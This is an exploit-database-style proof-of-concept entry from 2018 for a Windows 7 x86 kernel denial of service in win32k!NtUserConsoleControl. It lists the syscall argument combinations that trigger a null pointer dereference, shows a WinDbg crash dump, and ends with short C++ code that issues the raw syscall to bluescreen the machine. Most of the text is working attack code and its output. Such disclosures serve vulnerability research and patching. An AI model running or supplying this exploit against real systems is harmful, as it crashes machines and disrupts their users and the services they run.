Microsoft Windows Kernel – ‘win32k!NtUserConsoleControl’ Denial of Service (PoC)
/* # Exploit Title: Microsoft Windows Kernel - 'win32k!NtUserConsoleControl' Denial of Service (PoC) # Author: vportal # Date: 2018-07-27 # Vendor homepage: http://www.microsoft.com # Version: Windows 7 x86 # Tested on: Windows 7 x86 # CVE: N/A # It is possible to trigger a BSOD caused by a Null pointer deference when calling the system # call NtUserConsoleControl with the following arguments: # NtUserControlConsole(1,0,8). # NtUserControlConsole(4,0,8). # NtUserControlConsole(6,0,12). # NtUserControlConsole(2,0,12). # NtUserControlConsole(3,0,20). # NtUserControlConsole(5,0,8). # Different crashes are reproduced for each case. For the second case the crash is showed below: # EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - La instrucci n en 0x%08lx hace referencia a la memoria # en 0x%08lx. La memoria no se pudo %s. # FAULTING_IP: # win32k!xxxSetConsoleCaretInfo+c # 93310641 8b0e mov ecx,dword ptr [esi] # TRAP_FRAME: 8c747b2c -- (.trap 0xffffffff8c747b2c) # ErrCode = 00000000 # eax=00000000 ebx=00000000 ecx=84fc9100 edx=00000000 esi=00000000 edi=00000003 # eip=93310641 esp=8c747ba0 ebp=8c747bb0 iopl=0 nv up ei ng nz ac po nc # cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292 # win32k!xxxSetConsoleCaretInfo+0xc: # 93310641 8b0e mov ecx,dword ptr [esi] ds:0023:00000000=???????? # Resetting default scope # CUSTOMER_CRASH_COUNT: 1 # DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT # BUGCHECK_STR: 0x8E # PROCESS_NAME: Win32k-fuzzer_ # CURRENT_IRQL: 0 # LAST_CONTROL_TRANSFER: from 9330fc27 to 93310641 # STACK_TEXT: # 8c747bb0 9330fc27 00000000 00000003 00000014 win32k!xxxSetConsoleCaretInfo+0xc # 8c747bcc 9330fa8d 00000003 00000000 00000014 win32k!xxxConsoleControl+0x147 # 8c747c20 82848b8e 00000003 00000000 00000014 win32k!NtUserConsoleControl+0xc5 # 8c747c20 012e6766 00000003 00000000 00000014 nt!KiSystemServicePostCall # WARNING: Frame IP not in any known module. Following frames may be wrong. # 0016f204 00000000 00000000 00000000 00000000 0x12e6766 # PoC code: */ #include <Windows.h> extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } int _tmain(int argc, _TCHAR* argv[]) { int st = 0; int syscall_ID = 0x1160; //NtUserControlConsole ID Windows 7 LoadLibrary(L"user32.dll"); st = (int)SystemCall32(syscall_ID, 4, 0, 8); return 0; } # The vulnerability has only been tested in Windows 7 x86. |